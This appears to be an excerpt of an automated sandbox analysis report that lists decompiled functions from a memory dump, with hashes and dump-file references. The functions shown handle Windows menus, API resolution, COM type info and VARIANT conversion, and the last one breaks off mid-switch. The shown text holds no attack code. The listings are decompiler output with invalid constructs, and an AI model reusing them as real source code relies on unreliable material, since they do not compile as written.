Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: da9f6e550242e87fed984e013ecc0ac9da0a8070bc6cbd0a10163dbd3314c60a
Instruction ID: 414256812ef145b0899fd490d50545cbecf704d4c17f350ca957ea907aa61cb1
Opcode Fuzzy Hash: da9f6e550242e87fed984e013ecc0ac9da0a8070bc6cbd0a10163dbd3314c60a
Instruction Fuzzy Hash: 70016770106B88ADD3309F668C84B43FEF8EF95704F01490DD1D507A52C6B5A84CCB69

Uniqueness

Uniqueness Score: -1.00%

Function 00F3F9B8, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F3F9B8(void* __ecx, void* __eflags, intOrPtr _a4) {
				struct tagMENUITEMINFOW _v52;
				struct HMENU__* _v56;
				int _v60;
				int _v64;
				intOrPtr _v72;
				int _t42;
				signed int _t44;
				void* _t50;
				signed int _t55;
				struct HMENU__* _t61;
				int _t66;
				signed int* _t68;
				struct HMENU__** _t71;

				_t50 = __ecx;
				_v60 = 0xffffffff;
				if(E00F14160(__ecx, _a4,  &_v60) == 0) {
					L18:
					__eflags = 0;
					return 0;
				} else {
					_t66 = _v60;
					if(_t66 < 7 || _t66 >  *((intOrPtr*)(_t50 + 0x9d0))) {
						goto L18;
					} else {
						_t71 =  *(_t50 + 0x1b4 + _t66 * 4);
						if(_t71[1] != 1) {
							L16:
							if(DeleteMenu( *_t71, _t66, 0) == 0) {
								goto L18;
							} else {
								 *_t71 = 0;
								_t71[1] = 0xff;
								E00EEC850(_t33 | 0xffffffff,  &(_t71[2]), 0);
								E00F24112(_t50, _t66);
								return 1;
							}
						} else {
							_v52.cbSize = 0x30;
							E00EF2E60( &(_v52.fMask), 0, 0x2c);
							_v52.fMask = 4;
							if(GetMenuItemInfoW( *_t71, _t66, 0,  &_v52) == 0) {
								goto L18;
							} else {
								_t61 = _v52.hSubMenu;
								_t42 = 7;
								_v56 = _t61;
								_v64 = 7;
								if( *((intOrPtr*)(_t50 + 0x9d0)) >= 7) {
									_t18 = _t50 + 0x1d0; // 0x2cf
									_t68 = _t18;
									while(1) {
										_t55 =  *_t68;
										if(_t55 != 0 &&  *_t55 == _t61) {
											_t87 =  *((char*)(_t55 + 4)) - 1;
											if( *((char*)(_t55 + 4)) != 1) {
												DeleteMenu(_t61, _t42, 0);
												 *((char*)( *_t68 + 4)) = 0xff;
												 *( *_t68) = 0;
												_t44 =  *_t68;
												 *((char*)(_t44 + 5)) = 0;
												__eflags = _t44 | 0xffffffff;
												E00EEC850(_t44 | 0xffffffff,  *_t68 + 8, 0);
												E00F24112(_t50, _v72);
											} else {
												E00F3F9B8(_t50, _t87, _t42);
											}
											_t42 = _v64;
										}
										_t42 = _t42 + 1;
										_t68 =  &(_t68[1]);
										_v64 = _t42;
										if(_t42 >  *((intOrPtr*)(_t50 + 0x9d0))) {
											break;
										}
										_t61 = _v56;
									}
									_t66 = _v60;
								}
								goto L16;
							}
						}
					}
				}
			}

0x00f3f9c4
0x00f3f9d0
0x00f3f9df
0x00f3fb18
0x00f3fb1a
0x00f3fb20
0x00f3f9e5
0x00f3f9e5
0x00f3f9ec
0x00000000
0x00f3f9fe
0x00f3f9fe
0x00f3fa09
0x00f3fad9
0x00f3fae7
0x00000000
0x00f3fae9
0x00f3fae9
0x00f3faef
0x00f3fafe
0x00f3fb05
0x00f3fb15
0x00f3fb15
0x00f3fa0f
0x00f3fa18
0x00f3fa20
0x00f3fa33
0x00f3fa43
0x00000000
0x00f3fa49
0x00f3fa49
0x00f3fa4d
0x00f3fa52
0x00f3fa56
0x00f3fa60
0x00f3fa62
0x00f3fa62
0x00f3fa6e
0x00f3fa6e
0x00f3fa72
0x00f3fa78
0x00f3fa7c
0x00f3fa8c
0x00f3fa94
0x00f3fa9a
0x00f3faa0
0x00f3faa2
0x00f3faae
0x00f3fab1
0x00f3fabc
0x00f3fa7e
0x00f3fa81
0x00f3fa81
0x00f3fac1
0x00f3fac1
0x00f3fac5
0x00f3fac6
0x00f3fac9
0x00f3fad3
0x00000000
0x00000000
0x00f3fa6a
0x00f3fa6a
0x00f3fad5
0x00f3fad5
0x00000000
0x00f3fa60
0x00f3fa43
0x00f3fa09
0x00f3f9ec

APIs

_memset.LIBCMT ref: 00F3FA20
GetMenuItemInfoW.USER32 ref: 00F3FA3B
DeleteMenu.USER32(?,?,00000000), ref: 00F3FA8C
DeleteMenu.USER32(00000000,?,00000000), ref: 00F3FADF

Strings

0, xrefs: 00F3FA18

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 99f71734b35de14cc685afc21e6b93df0c13015121020b6bb67254abdf61bed1
Instruction ID: f7dd3abe6232fb97b763a685dc905a1426f24d7d328858e68046aa840c45dc40
Opcode Fuzzy Hash: 99f71734b35de14cc685afc21e6b93df0c13015121020b6bb67254abdf61bed1
Instruction Fuzzy Hash: 03419EB1A04201ABD710DF24DC44B1AB7E8AF85734F14862DF969AB2C1D378E8499BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EF08E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF08E0(struct HINSTANCE__** __esi) {
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;

				if(__esi[2] == 0) {
					_t3 = LoadLibraryA("kernel32.dll");
					 *__esi = _t3;
					if(_t3 != 0) {
						_t4 = GetProcAddress(_t3, "GetNativeSystemInfo");
						__esi[2] = _t4;
						return _t4;
					}
				}
				return _t3;
			}

0x00ef08e4
0x00ef08eb
0x00ef08f1
0x00ef08f5
0x00ef08fd
0x00ef0903
0x00000000
0x00ef0903
0x00ef08f5
0x00ef0906

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00EEE820), ref: 00EF08EB
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00EF08FD

Strings

GetNativeSystemInfo, xrefs: 00EF08F7
kernel32.dll, xrefs: 00EF08E6

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 25a5382e908d4fe61faf411c055218203d7799a432379734e5919425c5c9228f
Instruction ID: cdce518a313cbcbddbd3f68624cc8e361186a15dd5120a6bb065ee4dacc8975c
Opcode Fuzzy Hash: 25a5382e908d4fe61faf411c055218203d7799a432379734e5919425c5c9228f
Instruction Fuzzy Hash: ADD0C9B0940B0A9AEB300F31D80E61276E4AB80B89F105418E5A2A1256EBF4C080AA61

Uniqueness

Uniqueness Score: -1.00%

Function 00EF0870, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF0870(struct HINSTANCE__** __esi) {
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;

				if(__esi[2] == 0) {
					_t3 = LoadLibraryA("kernel32.dll");
					 *__esi = _t3;
					if(_t3 != 0) {
						_t4 = GetProcAddress(_t3, "IsWow64Process");
						__esi[2] = _t4;
						return _t4;
					}
				}
				return _t3;
			}

0x00ef0874
0x00ef087b
0x00ef0881
0x00ef0885
0x00ef088d
0x00ef0893
0x00000000
0x00ef0893
0x00ef0885
0x00ef0896

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00EEE7C8), ref: 00EF087B
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00EF088D

Strings

IsWow64Process, xrefs: 00EF0887
kernel32.dll, xrefs: 00EF0876

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: IsWow64Process$kernel32.dll
API String ID: 2574300362-3024904723
Opcode ID: 2c3effba62f152cce5c625bb5ce6624702cfae49e2e7cb645f564fb7853f4f02
Instruction ID: b7286e7d724c7054911048fd6b1771939eb14fda59a7448ba14e4c3e31d17889
Opcode Fuzzy Hash: 2c3effba62f152cce5c625bb5ce6624702cfae49e2e7cb645f564fb7853f4f02
Instruction Fuzzy Hash: 29D0C9B0940B0A9AD7241F21D90E61276E4AB10F9AF105468E595A1250EBB4C080AA61

Uniqueness

Uniqueness Score: -1.00%

Function 00F31CA1, Relevance: 6.4, APIs: 4, Instructions: 405
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00F31CA1(char _a4, intOrPtr _a8, WCHAR* _a12, WCHAR** _a16) {
				WCHAR* _v8;
				char _v12;
				WCHAR* _v16;
				char _v20;
				char _v24;
				void* __esi;
				intOrPtr* _t137;
				signed int _t140;
				intOrPtr* _t141;
				intOrPtr* _t146;
				signed int _t148;
				char _t149;
				intOrPtr* _t150;
				signed int _t153;
				intOrPtr* _t166;
				intOrPtr* _t169;
				intOrPtr* _t174;
				intOrPtr* _t177;
				signed int _t179;
				intOrPtr* _t180;
				intOrPtr* _t183;
				intOrPtr* _t190;
				char _t192;
				signed int _t194;
				intOrPtr* _t195;
				intOrPtr* _t198;
				signed int _t200;
				intOrPtr* _t201;
				intOrPtr* _t205;
				WCHAR** _t218;
				signed int _t220;
				signed int _t222;
				char _t227;
				signed int _t231;
				signed int _t232;
				intOrPtr* _t235;
				intOrPtr _t237;
				intOrPtr* _t238;
				short* _t241;
				intOrPtr* _t243;
				intOrPtr* _t247;
				char _t248;
				intOrPtr _t252;
				WCHAR* _t254;
				signed int _t271;
				signed int _t274;
				char _t288;
				intOrPtr _t306;
				WCHAR* _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed short _t311;
				signed int* _t312;
				signed short _t313;
				signed int _t314;
				void* _t315;

				_t137 = _a4;
				_t218 = _a16;
				_t306 = _a8;
				_t218[3] = 0;
				_a4 = 0;
				 *_t218 = 0;
				_t310 =  *((intOrPtr*)( *((intOrPtr*)( *_t137 + 0x10))))(_t137, 0, 0x800,  &_a4);
				if(_t310 >= 0) {
					_t140 = E00F10DF2( &_a4, 0);
					__eflags = _t140;
					if(_t140 == 0) {
						_t141 = _a4;
						_v8 = 0;
						_t310 =  *((intOrPtr*)( *((intOrPtr*)( *_t141 + 0xc))))(_t141,  &_v12);
						__eflags = _t310;
						if(_t310 < 0) {
							goto L1;
						} else {
							_t227 = _v12;
							__eflags =  *((intOrPtr*)(_t227 + 0x28)) - 3;
							if( *((intOrPtr*)(_t227 + 0x28)) != 3) {
								L12:
								_t146 = _a4;
								_v20 = 0xffffffff;
								_t148 =  *((intOrPtr*)( *((intOrPtr*)( *_t146 + 0x28))))(_t146,  &_a12, 1,  &_v20);
								__eflags = _t148;
								if(_t148 >= 0) {
									L15:
									_t149 = _v12;
									_t311 = 0;
									__eflags = 0 -  *((intOrPtr*)(_t149 + 0x2c));
									if(0 >=  *((intOrPtr*)(_t149 + 0x2c))) {
										goto L30;
									} else {
										while(1) {
											_t166 = _a4;
											_t308 =  *((intOrPtr*)( *((intOrPtr*)( *_t166 + 0x14))))(_t166, _t311 & 0x0000ffff,  &_v8);
											__eflags = _t308;
											if(_t308 < 0) {
												break;
											}
											_t247 = _v8;
											__eflags =  *(_t247 + 0x10) & 0x00000003;
											if(( *(_t247 + 0x10) & 0x00000003) == 0) {
												L19:
												_t174 = _a4;
												 *((intOrPtr*)( *((intOrPtr*)( *_t174 + 0x50))))(_t174, _t247);
												_t248 = _v12;
												_t311 = 1 + _t311;
												_v8 = 0;
												__eflags = _t311 -  *((intOrPtr*)(_t248 + 0x2c));
												if(_t311 <  *((intOrPtr*)(_t248 + 0x2c))) {
													continue;
												} else {
													goto L30;
												}
											} else {
												__eflags =  *_t247 - _v20;
												if( *_t247 == _v20) {
													goto L30;
												} else {
													goto L19;
												}
											}
											goto L51;
										}
										_t169 = _a4;
										 *((intOrPtr*)( *((intOrPtr*)( *_t169 + 0x4c))))(_t169, _v12);
										E00F10E37( &_a4);
										return _t308;
									}
								} else {
									_t177 = _a4;
									_t313 = 0;
									_v16 = 0;
									_t179 =  *((intOrPtr*)( *((intOrPtr*)( *_t177 + 0x1c))))(_t177, _t306,  &_v16, 1,  &_v24);
									__eflags = _t179;
									if(_t179 < 0) {
										_t288 = _v12;
										__eflags = 0 -  *((intOrPtr*)(_t288 + 0x2c));
										if(0 >=  *((intOrPtr*)(_t288 + 0x2c))) {
											L30:
											_t150 = _a4;
											 *((intOrPtr*)( *((intOrPtr*)( *_t150 + 0x4c))))(_t150, _v12);
											_t153 = _v8;
											_t307 = 0;
											__eflags = _t153;
											if(_t153 == 0) {
												goto L8;
											} else {
												_t231 =  *(_t153 + 0x18) & 0x0000ffff;
												__eflags = _t231 - 0x20;
												if(_t231 <= 0x20) {
													 *_t218 = 1;
													_v16 = 0;
													__eflags = 0 - _t231;
													if(0 < _t231) {
														_t104 =  &(_t218[4]); // 0xf59806
														_t312 = _t104;
														do {
															_t237 =  *((intOrPtr*)(_t153 + 8));
															_t274 =  *(_t237 + _t307 + 4) & 0x0000ffff;
															_t238 = _t237 + _t307;
															 *_t312 = _t274;
															__eflags = _t274 - 0x1a;
															if(_t274 == 0x1a) {
																_t220 = 0x00004000 |  *( *_t238 + 4);
																__eflags = _t220;
																 *_t312 = _t220;
																_t218 = _a16;
															}
															__eflags =  *_t312 - 0x1b;
															if( *_t312 == 0x1b) {
																_t222 = 0x00002000 |  *( *_t238 + 4);
																__eflags = _t222;
																 *_t312 = _t222;
																_t218 = _a16;
															}
															__eflags =  *_t312 - 0x1d;
															if( *_t312 == 0x1d) {
																 *_t312 = E00F2A49E(_a4, _t312, _a4,  *_t238);
																_t153 = _v8;
																_t315 = _t315 + 8;
															}
															_t312[0] =  *((intOrPtr*)( *((intOrPtr*)(_t153 + 8)) + _t307 + 0xc));
															_t241 =  &(_v16[0]);
															_t307 = _t307 + 0x10;
															_t312 =  &(_t312[1]);
															_v16 = _t241;
															__eflags = _t241 -  *(_t153 + 0x18);
														} while (_t241 <  *(_t153 + 0x18));
													}
													_t232 =  *(_t153 + 0x24) & 0x0000ffff;
													_t271 = _t232 - 0x16;
													__eflags = _t271 - 3;
													if(_t271 <= 3) {
														switch( *((intOrPtr*)(_t271 * 4 +  &M00F320A1))) {
															case 0:
																_t232 = 3;
																goto L48;
															case 1:
																__ecx = 0x13;
																goto L48;
															case 2:
																__ecx = 0;
																goto L48;
															case 3:
																__ecx = 0xa;
																goto L48;
														}
													}
													L48:
													_t218[3] = _t232;
													_t218[1] =  *(_t153 + 0x10);
													_t218[3] =  *(_t153 + 0x18);
													_t235 = _a4;
													_t218[2] =  *(_t153 + 0x14);
													 *((intOrPtr*)( *((intOrPtr*)( *_t235 + 0x50))))(_t235, _t153);
													E00F10E37( &_a4);
													__eflags = 0;
													return 0;
												} else {
													_t243 = _a4;
													 *((intOrPtr*)( *((intOrPtr*)( *_t243 + 0x50))))(_t243, _t153);
													E00F10E37( &_a4);
													return 0x80004005;
												}
											}
										} else {
											while(1) {
												_t180 = _a4;
												_t309 =  *((intOrPtr*)( *((intOrPtr*)( *_t180 + 0x14))))(_t180, _t313 & 0x0000ffff,  &_v8);
												_t183 = _a4;
												_t252 =  *_t183;
												__eflags = _t309;
												if(_t309 < 0) {
													break;
												}
												 *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x30))))(_t183,  *_v8,  &_v16, 0, 0, 0);
												_t254 = _v8;
												__eflags =  *(_t254 + 0x10) & 0x00000003;
												if(( *(_t254 + 0x10) & 0x00000003) == 0) {
													L26:
													__imp__#6(_v16);
													_t190 = _a4;
													 *((intOrPtr*)( *((intOrPtr*)( *_t190 + 0x50))))(_t190, _v8);
													_t192 = _v12;
													_t313 = 1 + _t313;
													_v8 = 0;
													__eflags = _t313 -  *((intOrPtr*)(_t192 + 0x2c));
													if(_t313 <  *((intOrPtr*)(_t192 + 0x2c))) {
														continue;
													} else {
														goto L30;
													}
												} else {
													_t194 = lstrcmpiW(_v16, _a12);
													__eflags = _t194;
													if(_t194 == 0) {
														__imp__#6(_v16);
														goto L30;
													} else {
														goto L26;
													}
												}
												goto L51;
											}
											 *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x4c))))(_t183, _v12);
											E00F10E37( &_a4);
											return _t309;
										}
									} else {
										__imp__#6(_v16);
										_v20 = _t306;
										goto L15;
									}
								}
							} else {
								__eflags =  *(_t227 + 0x36) & 0x00000040;
								if(( *(_t227 + 0x36) & 0x00000040) == 0) {
									goto L12;
								} else {
									_t195 = _a4;
									 *((intOrPtr*)( *((intOrPtr*)( *_t195 + 0x4c))))(_t195, _t227);
									_t198 = _a4;
									_t200 =  *((intOrPtr*)( *((intOrPtr*)( *_t198 + 0x20))))(_t198, 0xffffffff,  &_v24);
									__eflags = _t200;
									if(_t200 < 0) {
										L8:
										E00F10E37( &_a4);
										return 0x80004005;
									} else {
										_t201 = _a4;
										_v16 = 0;
										__eflags =  *((intOrPtr*)( *((intOrPtr*)( *_t201 + 0x38))))(_t201, _v24,  &_v16);
										if(__eflags >= 0) {
											E00F21E14(__eflags,  &_a4,  &_v16);
											_t205 = _a4;
											_t314 =  *((intOrPtr*)( *((intOrPtr*)( *_t205 + 0xc))))(_t205,  &_v12);
											__eflags = _t314;
											if(_t314 >= 0) {
												E00F10E37( &_v16);
												goto L12;
											} else {
												E00F10E37( &_v16);
												E00F10E37( &_a4);
												return _t314;
											}
										} else {
											E00F10E37( &_v16);
											goto L8;
										}
									}
								}
							}
						}
					} else {
						E00F10E37( &_a4);
						return 0x80004001;
					}
				} else {
					L1:
					E00F10E37( &_a4);
					return _t310;
				}
				L51:
			}

0x00f31ca7
0x00f31cab
0x00f31cb0
0x00f31cbe
0x00f31cc1
0x00f31ccc
0x00f31cd4
0x00f31cd8
0x00f3207d
0x00f32082
0x00f32084
0x00f31cf0
0x00f31cf6
0x00f31d06
0x00f31d08
0x00f31d0a
0x00000000
0x00f31d0c
0x00f31d0c
0x00f31d0f
0x00f31d13
0x00f31dc6
0x00f31dc6
0x00f31dd2
0x00f31de0
0x00f31de2
0x00f31de4
0x00f31e16
0x00f31e16
0x00f31e1b
0x00f31e1d
0x00f31e21
0x00000000
0x00f31e27
0x00f31e27
0x00f31e27
0x00f31e3a
0x00f31e3c
0x00f31e3e
0x00000000
0x00000000
0x00f31e40
0x00f31e43
0x00f31e47
0x00f31e54
0x00f31e54
0x00f31e5e
0x00f31e60
0x00f31e63
0x00f31e64
0x00f31e6b
0x00f31e6f
0x00000000
0x00f31e71
0x00000000
0x00f31e71
0x00f31e49
0x00f31e4b
0x00f31e4e
0x00000000
0x00000000
0x00000000
0x00000000
0x00f31e4e
0x00000000
0x00f31e47
0x00f31e76
0x00f31e83
0x00f31e89
0x00f31e96
0x00f31e96
0x00f31de6
0x00f31de6
0x00f31df3
0x00f31df5
0x00f31dff
0x00f31e01
0x00f31e03
0x00f31e97
0x00f31e9c
0x00f31ea0
0x00f31f47
0x00f31f47
0x00f31f54
0x00f31f56
0x00f31f59
0x00f31f5b
0x00f31f5d
0x00000000
0x00f31f63
0x00f31f63
0x00f31f67
0x00f31f6b
0x00f31f90
0x00f31f96
0x00f31f99
0x00f31f9c
0x00f31f9e
0x00f31f9e
0x00f31fa1
0x00f31fa1
0x00f31fa4
0x00f31fa9
0x00f31fab
0x00f31fae
0x00f31fb1
0x00f31fba
0x00f31fba
0x00f31fbe
0x00f31fc1
0x00f31fc1
0x00f31fc4
0x00f31fc8
0x00f31fd1
0x00f31fd1
0x00f31fd5
0x00f31fd8
0x00f31fd8
0x00f31fdb
0x00f31fdf
0x00f31fed
0x00f31ff0
0x00f31ff3
0x00f31ff3
0x00f32002
0x00f32009
0x00f3200a
0x00f3200d
0x00f32010
0x00f32013
0x00f32013
0x00f31fa1
0x00f32017
0x00f3201b
0x00f3201e
0x00f32021
0x00f32023
0x00000000
0x00f3202a
0x00000000
0x00000000
0x00f32031
0x00000000
0x00000000
0x00f32038
0x00000000
0x00000000
0x00f3203c
0x00000000
0x00000000
0x00f32023
0x00f32041
0x00f32044
0x00f3204b
0x00f32052
0x00f32056
0x00f32059
0x00f32063
0x00f32069
0x00f32070
0x00f32076
0x00f31f6d
0x00f31f6d
0x00f31f77
0x00f31f7d
0x00f31f8d
0x00f31f8d
0x00f31f6b
0x00f31ea6
0x00f31ea6
0x00f31ea6
0x00f31eb9
0x00f31ebb
0x00f31ebe
0x00f31ec0
0x00f31ec2
0x00000000
0x00000000
0x00f31ed8
0x00f31eda
0x00f31edd
0x00f31ee1
0x00f31ef5
0x00f31ef9
0x00f31eff
0x00f31f0c
0x00f31f0e
0x00f31f11
0x00f31f12
0x00f31f19
0x00f31f1d
0x00000000
0x00f31f1f
0x00000000
0x00f31f1f
0x00f31ee3
0x00f31eeb
0x00f31ef1
0x00f31ef3
0x00f31f41
0x00000000
0x00000000
0x00000000
0x00000000
0x00f31ef3
0x00000000
0x00f31ee1
0x00f31f29
0x00f31f2f
0x00f31f3c
0x00f31f3c
0x00f31e09
0x00f31e0d
0x00f31e13
0x00000000
0x00f31e13
0x00f31e03
0x00f31d19
0x00f31d19
0x00f31d1d
0x00000000
0x00f31d23
0x00f31d23
0x00f31d2d
0x00f31d2f
0x00f31d3e
0x00f31d40
0x00f31d42
0x00f31d6b
0x00f31d6f
0x00f31d7f
0x00f31d44
0x00f31d44
0x00f31d4e
0x00f31d5e
0x00f31d60
0x00f31d88
0x00f31d8d
0x00f31d9c
0x00f31d9e
0x00f31da0
0x00f31dc1
0x00000000
0x00f31da2
0x00f31da6
0x00f31daf
0x00f31dbc
0x00f31dbc
0x00f31d62
0x00f31d66
0x00000000
0x00f31d66
0x00f31d60
0x00f31d42
0x00f31d1d
0x00f31d13
0x00f3208a
0x00f3208e
0x00f3209e
0x00f3209e
0x00f31cde
0x00f31cde
0x00f31ce2
0x00f31cef
0x00f31cef
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1524952207abb365635b2cbf74dc0444f3ebbfb07fe08cc0b8f6a2c04776825
Instruction ID: 2b35df2a7df556311aad1b7a00464a54a339626017e18b1a5c804815ccb61a3e
Opcode Fuzzy Hash: a1524952207abb365635b2cbf74dc0444f3ebbfb07fe08cc0b8f6a2c04776825
Instruction Fuzzy Hash: 7EE16175600209AFCB14DF98D880EAAB7B9FF88724F108599E909CB351D775EE81DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F594BA, Relevance: 6.2, APIs: 4, Instructions: 162
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00F594BA(short* __ecx, void* __fp0, char _a4, intOrPtr _a12) {
				char _v28;
				char _v52;
				short* __edi;
				char* __esi;
				signed int _t32;
				void* _t39;
				void* _t46;
				short* _t47;
				void* _t50;

				_t47 = __ecx;
				__imp__#8(__ecx, _t46, _t50, _t39);
				_t32 = _a12 - 1;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				if(_t32 > 0xb) {
					L17:
					E00EE9190(_t47,  &_a4);
					return _t47;
				} else {
					switch( *((intOrPtr*)(_t32 * 4 +  &M00F5969E))) {
						case 0:
							__eax = 3;
							__ecx =  &_a4;
							 *__edi = __ax;
							__eax = E00EEC8A0( &_a4);
							goto L16;
						case 1:
							__eax =  &_a4;
							__edx = 0x14;
							 *__edi = __dx;
							__eax = E00F22F28( &_a4);
							 *((intOrPtr*)(__edi + 0xc)) = __edx;
							goto L16;
						case 2:
							__ecx = 5;
							 *__edi = __cx;
							__ecx =  &_a4;
							__eax = E00EEBCF0( &_a4);
							 *((long long*)(__edi + 8)) = __fp0;
							__esi =  &_a4;
							E00EE9190(__edi,  &_a4) = __edi;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							return __edi;
							goto L18;
						case 3:
							__ecx =  &_a4;
							__eax = 8;
							 *__edi = __ax;
							__eax = E00F33381( &_a4);
							_push(__eax);
							__imp__#2();
							goto L16;
						case 4:
							__esp = __esp - 0x10;
							__edx = 0x200c;
							__eax =  &_a4;
							__ebx = __esp;
							 *__edi = __dx;
							__eax = E00EEBBB0( &_a4, __esp, __ecx, __edi);
							__eax = E00F5931C(__eflags, __fp0);
							goto L16;
						case 5:
							__eax =  &_a4;
							__eax = E00F124D9( &_a4);
							__esp = __esp - 0x10;
							__ebx = __esp;
							__eax = E00EEBBB0(__eax, __esp, __ecx, __edi);
							__ecx =  &_v28;
							E00F594BA( &_v28, __fp0) = E00F16FED(__edi, __eax);
							__ecx =  &_v52;
							_push( &_v52);
							__imp__#9();
							__esi =  &_a4;
							E00EE9190(__edi,  &_a4) = __edi;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							return __edi;
							goto L18;
						case 6:
							__edx =  &_a4;
							__ecx = 0x13;
							 *__edi = __cx;
							__eax = E00F2B323( &_a4);
							goto L16;
						case 7:
							__eax = _a4;
							__eflags = __eax;
							if(__eax == 0) {
								goto L17;
							} else {
								_push(__eax);
								_push(__edi);
								__imp__#10();
								__esi =  &_a4;
								E00EE9190(__edi,  &_a4) = __edi;
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return __edi;
							}
							goto L18;
						case 8:
							 *__ecx = 0xb;
							 *((short*)(_t47 + 8)) = E00F22E6D( &_a4) & 0x000000ff;
							E00EE9190(_t47,  &_a4);
							return _t47;
							goto L18;
						case 9:
							__edx =  &_a4;
							__eax = E00F2CE43( &_a4);
							__eflags = __al;
							if(__al == 0) {
								goto L14;
							} else {
								__eax = 0xa;
								__esi =  &_a4;
								 *__edi = __ax;
								 *((intOrPtr*)(__edi + 8)) = 0x80020004;
								E00EE9190(__edi,  &_a4) = __edi;
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return __edi;
							}
							goto L18;
						case 0xa:
							L14:
							__esp = __esp - 0x10;
							__ecx = 0x2011;
							__eax =  &_a4;
							__ebx = __esp;
							 *__edi = __cx;
							__eax = E00EEBBB0( &_a4, __esp, 0x2011, __edi);
							__eax = E00F53B30(__eflags);
							goto L16;
						case 0xb:
							__esp = __esp - 0x10;
							__edx = 0x2013;
							__eax =  &_a4;
							__ebx = __esp;
							 *__edi = __dx;
							__eax = E00EEBBB0( &_a4, __esp, __ecx, __edi);
							__eax = E00F2CDB9(__ecx, __eflags);
							L16:
